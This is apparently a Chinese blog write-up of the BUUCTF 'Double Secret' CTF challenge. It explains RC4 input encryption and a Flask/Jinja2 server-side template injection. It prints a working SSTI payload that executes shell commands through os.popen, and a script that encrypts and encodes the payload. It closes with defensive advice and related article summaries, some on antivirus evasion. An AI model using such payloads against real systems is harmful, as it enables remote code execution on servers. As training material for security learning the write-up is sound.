BUUCTF:[CISCN2019 华东南赛区]Double Secret 深度解析:RC4加密与SSTI注入的攻防实战

大鹏人文

1. 初探Double Secret:题目背景与信息收集

第一次打开这个题目时,看到的是一个看似简单的Web界面。题目名为"Double Secret",直觉告诉我这肯定暗藏玄机。按照CTF比赛的常规套路,我首先检查了robots.txt文件,但这次并没有发现有用线索。接着我注意到URL中有一个/secret目录,访问后出现了一个输入框。

尝试直接提交空参数?secret=时没有反应,但当输入超过4个字符时,页面突然抛出了一个报错信息。这个报错非常关键,它暴露了后端处理逻辑:首先对输入进行RC4加密,然后通过render_template_string渲染。看到这里我眼睛一亮——这不就是典型的SSTI(服务器端模板注入)漏洞吗?

2. 逆向分析RC4加密流程

题目给出了关键的加密代码片段,使用的是RC4算法。RC4是一种流加密算法,它的特点是加密解密使用相同的密钥。在这个题目中,密钥是硬编码的"HereIsTreasure"。

我找到了一个现成的RC4实现脚本,但需要稍作修改才能用在这个题目上。关键是要理解它的加密流程:

  1. 初始化S盒(256字节的置换表)
  2. 使用密钥打乱S盒
  3. 通过S盒生成密钥流
  4. 将密钥流与明文逐字节异或

特别需要注意的是,题目中的加密结果还经过了Base64编码和URL编码双重处理。这意味着我们的payload在注入前需要先经过这一系列转换。

3. 构造SSTI注入payload

确认存在SSTI漏洞后,下一步就是构造有效的payload。在Flask/Jinja2环境下,常见的利用方式是通过Python的对象继承链来访问危险函数。

我使用的payload模板是:

python复制{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('命令').read()")}}
{% endif %}
{% endfor %}

这个payload的工作原理是:

  1. 通过空列表的__class__获取list类型
  2. 通过__base__找到object基类
  3. 遍历所有子类找到catch_warnings
  4. 通过__globals__访问内置函数
  5. 使用eval执行任意Python代码

4. 完整攻击链的组装与执行

有了RC4加密脚本和SSTI payload,现在需要将它们组合起来。具体步骤如下:

  1. 首先准备要执行的系统命令,比如"ls /"查看根目录
  2. 将这个命令嵌入到SSTI payload模板中
  3. 使用给定的RC4脚本加密整个payload
  4. 对加密结果进行URL编码
  5. 将最终字符串作为secret参数值提交

我写了一个自动化脚本处理这个过程:

python复制from urllib import parse
import base64

def rc4_encrypt(payload):
    # 省略RC4实现代码
    return encrypted_payload

ssti_payload = '''{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}
{% endif %}
{% endfor %}'''

encrypted = rc4_encrypt(ssti_payload)
final_payload = parse.quote(encrypted)
print(f"最终payload: ?secret={final_payload}")

5. 实战调试与技巧分享

在实际操作中,我遇到了几个坑需要特别注意:

  1. payload长度限制:最初测试时发现超过一定长度就会报错,后来发现是因为URL有长度限制。解决方法是对payload进行分段测试。

  2. 编码问题:RC4加密后的二进制数据在转换为字符串时容易出现编码错误。确保使用正确的编码方式(通常是Latin-1)。

  3. 命令注入的过滤:有些特殊字符会被过滤,可以使用编码绕过或者找到替代命令。

  4. 错误信息分析:当payload不生效时,仔细阅读错误信息可以获取很多有用线索,比如哪些字符被过滤了。

6. 最终flag获取与防御建议

经过多次尝试,最终使用"cat /flag.txt"命令成功获取到flag。整个过程的关键在于理解RC4加密流程和SSTI利用原理的结合。

从防御角度来看,这个题目教会我们几个重要的安全准则:

  1. 永远不要相信用户输入,即使经过了加密
  2. 避免使用render_template_string这样的危险函数
  3. 密钥不应该硬编码在代码中
  4. 对模板渲染进行严格的沙箱限制

在实际开发中,建议使用成熟的模板引擎并保持更新,同时实施严格的内容安全策略。对于加密操作,应该使用经过验证的库而不是自己实现算法。

内容推荐

实战指南:利用Gitee API构建自动化图床,并绕过防盗链限制
本文详细介绍了如何利用Gitee API构建自动化图床,并有效绕过防盗链限制。通过创建专用仓库、获取API令牌、实现自动化图片上传等步骤,帮助开发者快速搭建高效稳定的图床服务。特别针对Gitee的防盗链机制,提供了前端和后端两种解决方案,确保图片资源的安全访问。
从模型到服务:基于CNN与Flask的轻量化肺炎辅助诊断平台实践
本文详细介绍了基于CNN与Flask的轻量化肺炎辅助诊断平台实践,通过卷积神经网络(CNN)技术实现高效肺炎诊断,并结合Flask框架打造轻量级服务。文章涵盖模型搭建、数据处理、服务部署及性能优化等关键环节,为基层医疗机构提供实用的AI辅助诊断解决方案,显著提升肺炎诊断效率和准确性。
从零到一:uni-app云打包生成ipa并部署iPhone实战指南
本文详细介绍了从零开始使用uni-app进行云打包生成ipa文件并部署到iPhone的完整流程。涵盖开发者账号注册、证书配置、设备管理、云打包参数设置及真机调试等关键步骤,帮助开发者高效完成iOS应用打包与部署,特别适合uni-app初学者和需要快速上手的移动开发团队。
高频LC并联谐振电路设计与阻抗匹配实战解析
本文深入解析高频LC并联谐振电路的设计与阻抗匹配实战技巧,涵盖谐振频率计算、带宽优化、ADS仿真及PCB布局要点。通过实际案例和公式推导,详细介绍了如何解决工程中常见的带宽变窄和频率偏移问题,并探讨了毫米波频段下的新兴技术趋势。
CS二开实战:不写死Payload模板,实现PowerShell/Shellcode生成即免杀(附资源文件修改技巧)
本文深入探讨了CS二次开发中的动态Payload模板与Shellcode免杀技术,通过改造Cobalt Strike的模板系统,实现动态免杀体系。文章详细解析了模板文件定位、动态参数保留、Shellcode生成引擎改造及可执行文件模板免杀等关键技术,帮助红队成员构建可持续的免杀方案,提升攻击链存活周期。
深入解析PyTorch中grid_sample函数的双线性插值原理与应用场景
本文深入解析了PyTorch中grid_sample函数的双线性插值原理与应用场景。详细介绍了该函数在图像变形、数据增强、空间变换网络(STN)和图像配准等领域的实际应用,并提供了性能优化与常见问题解决方案。通过数学原理和代码示例,帮助开发者掌握这一强大的图像处理工具。
避坑指南:Akamai逆向从-1到0,我踩过的那些‘通用版’指纹坑
本文深入解析Akamai逆向实战中的指纹对抗技巧,从环境准备到算法调试,揭示常见陷阱与解决方案。通过Session管理、Headers细节优化和指纹对抗策略,帮助开发者有效提升爬虫通过率,避免返回-1状态码的困扰。特别适用于需要突破Akamai防护的爬虫开发者。
从TIME_WAIT风暴到系统稳定:一次网络连接优化的深度实践
本文深入探讨了TIME_WAIT状态引发的网络连接问题及其解决方案。通过分析TCP协议原理、诊断工具使用(如netstat)、代码优化(连接池与长连接实践)及操作系统级调优,有效解决了高并发场景下的TIME_WAIT风暴问题,显著提升系统稳定性与性能。
联想笔记本装系统卡转圈?BIOS里这个VMD设置才是关键(附详细关闭教程)
本文深度解析联想笔记本安装系统时卡转圈的问题,指出BIOS中Intel VMD Controller设置是关键原因,并提供详细关闭教程。通过分析VMD技术的工作原理与影响机制,给出两种解决方案:关闭VMD或保持开启并加载驱动,帮助用户顺利完成系统安装。
别再被虚线搞晕了!机械制图剖视图保姆级入门指南(附全剖/半剖/局部剖实战案例)
本文提供机械制图剖视图的保姆级入门指南,详细解析全剖、半剖和局部剖三种剖视图的应用场景与绘制技巧。通过实战案例展示如何避免常见错误,帮助工程师清晰表达零件内部结构,提升图纸可读性与制造效率。特别适合被虚线困扰的机械设计初学者。
Verilog中parameter与localparam的实战应用场景解析
本文深入解析Verilog中parameter与localparam的实战应用场景,帮助开发者理解两者的核心区别与最佳实践。通过可配置IP核设计、状态机编码等实例,展示如何灵活使用parameter实现模块复用,以及利用localparam确保代码安全性与可读性。特别适合Verilog开发者在FPGA和ASIC设计中优化代码结构。
用Arduino Uno和摇杆做个桌面小空调:PWM调速+舵机转向完整教程
本文详细介绍了如何使用Arduino Uno和摇杆模块制作智能桌面小空调,涵盖PWM调速和舵机转向的完整实现方案。通过精选硬件组件、优化电路设计和编程控制,打造静音高效的微型空调系统,适合DIY爱好者和创客实践。
ESP8266通过TCP协议实现巴法云物联网平台的智能设备控制
本文详细介绍了如何使用ESP8266通过TCP协议连接巴法云物联网平台,实现智能设备的远程控制。内容涵盖平台配置、TCP通信协议解析、ESP8266开发指南及调试技巧,帮助开发者快速掌握物联网设备上云的核心技术,适用于智能家居等实时控制场景。
保姆级教程:用Oh My Zsh + zsh-autosuggestions打造你的Mac高效终端(2024最新配置)
本文提供2024年最新Mac终端配置指南,详细讲解如何通过Oh My Zsh和zsh-autosuggestions打造高效命令行环境。从Zsh基础配置到主题美化、插件安装(包括必备的zsh-autosuggestions智能建议插件),再到性能优化技巧,帮助开发者全面提升终端使用体验和工作效率。
电子设计竞赛必备:用Multisim打造多功能信号发生器的避坑指南
本文详细介绍了在电子设计竞赛中使用Multisim设计多功能信号发生器的关键技巧与常见问题解决方案。从RC振荡电路的稳定性优化到多波形协同设计的耦合问题处理,提供了实用的避坑指南和评委评分要点,帮助参赛者打造高精度、低失真的信号发生器,提升竞赛作品质量。
从LTE到5G NR:PDCCH信道设计做了哪些‘减法’与‘优化’?
本文深入探讨了5G NR中PDCCH信道的设计革新,对比LTE时代的多信道协同系统,NR通过精简架构、引入动态CORESET和优化搜索空间,显著提升了资源利用率、调度灵活性和终端能效。重点分析了NR PDCCH的三大突破:取消独立控制信道、弹性资源池设计和盲检复杂度降低,为5G多样化业务场景提供坚实基础。
机器视觉避坑指南:CogPatInspectTool与PMAlignTool联调常见问题解析
本文深入解析机器视觉系统中CogPatInspectTool与PMAlignTool联调的常见问题与优化方案。从工具链基础架构到Pose传递失效的解决方案,再到动态ROI生成和缺陷敏感度调参,提供了一套完整的机器视觉避坑指南,帮助工程师提升工业自动化检测的精度与效率。
创龙ZYNQ7020开发板实战:AMP模式下的Linux与裸机‘分家’指南与踩坑记录
本文详细解析了在创龙ZYNQ7020开发板上实现AMP架构的技术路径,重点探讨Linux与裸机双核协同开发的关键难点与解决方案。通过定制FSBL、合理规划内存空间及优化双核通信机制,开发者可充分发挥ZYNQ7020的双核性能优势,满足高实时性嵌入式应用需求。
告别仿真器:用SmartRF Flash Programmer给CC2530离线烧录Hex的几种实战场景
本文详细介绍了SmartRF Flash Programmer在CC2530离线烧录中的高阶应用,包括产线批量烧录、研发阶段敏捷验证和现场维护等实战场景。通过对比IAR EW8051,展示了SmartRF在烧录速度、硬件兼容性和自动化集成方面的优势,帮助开发者提升Zigbee设备开发效率。
好好说话之unlink:从源码到实战的堆利用艺术
本文深入解析了glibc堆管理中的unlink操作,从源码分析到实战演练,详细介绍了unlink攻击的原理、构造技巧及防御措施。通过HITCON stkof题目的实例,展示了如何利用堆溢出漏洞构造fake chunk并触发unlink,最终实现任意地址写和shell获取。文章还提供了调试技巧与工具使用建议,帮助读者深入理解堆利用技术。
已经到底了哦
精选内容
热门内容
最新内容
Spring Boot 结合Pageable与JPA Specification构建动态查询分页
本文详细介绍了如何使用Spring Boot结合Pageable与JPA Specification构建动态查询分页功能。通过JPA Specification的灵活条件组合和Pageable的分页支持,开发者可以高效实现复杂的数据筛选与分页需求,特别适用于后台管理系统中的多条件查询场景。文章包含基础概念、实战示例及性能优化建议,帮助开发者掌握这一核心技术。
EPLAN拖放艺术:从“效率杀手”到“生产力神器”的华丽转身
本文深入探讨了EPLAN软件中拖放操作的高效应用,从基础技巧到进阶用法,帮助电气工程师将这一功能从“效率杀手”转变为“生产力神器”。通过实际案例展示了拖放操作在符号宏、页宏、图框表格等场景中的显著效率提升,以及如何通过创意用法优化工作流程。
别再只会用linprog了!用MATLAB搞定多目标规划,从理想点法到模糊数学解法实战
本文深入解析MATLAB在多目标规划中的应用,涵盖理想点法、线性加权法、最大最小法和模糊数学解法等五种实用方法,帮助解决工程优化中的复杂决策问题。通过详细代码示例和实际应用建议,提升数学建模和线性规划能力,实现多目标优化。
从仿真到实现:直流有刷电机双闭环PID控制全流程解析
本文详细解析了直流有刷电机双闭环PID控制的全流程,从Simulink模型搭建到PID参数整定,再到仿真结果解读和实物实现。通过实战案例和技巧分享,帮助工程师掌握电机控制的核心技术,提升系统响应速度和稳定性,适用于工业自动化等场景。
LaTeX排版技巧:如何优雅地插入并排子图片(附完整代码示例)
本文详细介绍了LaTeX中优雅插入并排子图片的实用技巧,涵盖从基础配置到高级自定义布局的全流程。通过subfigure宏包的应用、精准宽度控制、垂直对齐方案以及复杂网格布局的实现,帮助用户高效完成学术论文和技术文档的图表排版。文章提供可直接复用的代码示例,特别适合需要精确控制子图排版的LaTeX使用者。
深入解析Utility Buffer IP核的差分信号处理机制
本文深入解析了Utility Buffer IP核在差分信号处理中的关键机制,包括输入/输出缓冲器设计、信号完整性保障及三态缓冲器的抗干扰技术。通过实际案例和性能优化技巧,展示了其在高速数字电路设计中的重要作用,特别适合FPGA开发者和硬件工程师参考。
ANSYS APDL与MATLAB数据交互全攻略:科学计数法下的无缝对接
本文详细介绍了ANSYS APDL与MATLAB在科学计数法下的数据交互方法,解决了工程仿真中常见的精度丢失、格式兼容性和效率问题。通过具体代码示例和最佳实践,帮助工程师实现参数化研究、优化设计等场景下的无缝对接,特别适用于循环建模和大规模数据分析。
从基础到应用:常见概率分布的期望与方差全解析
本文全面解析了常见概率分布的期望与方差,从基础概念到实际应用,涵盖了伯努利分布、二项分布、泊松分布、正态分布、指数分布和均匀分布等核心内容。通过金融风险管理、工程可靠性分析和医疗数据分析等实战案例,帮助读者深入理解概率分布在各个领域的应用价值,提升数据分析和建模能力。
DataGrip高效操作指南:从入门到精通
本文详细介绍了DataGrip数据库管理工具的高效操作指南,从入门到精通的全方位使用技巧。涵盖智能SQL编写、多环境配置、数据表操作、SQL调优等核心功能,帮助开发者提升数据库管理效率。特别适合需要处理复杂查询和多环境数据库管理的专业人士。
机器人电控系统防护设计实战——从输入保护到稳压电路的全面解析
本文深入解析机器人电控系统防护设计,从输入保护到稳压电路的全面实战方案。重点探讨PMOS防反接、TVS二极管选型、过压过流保护等关键技术,提供工业级机器人应对电源反接、电压突变等风险的完整防护体系设计指南。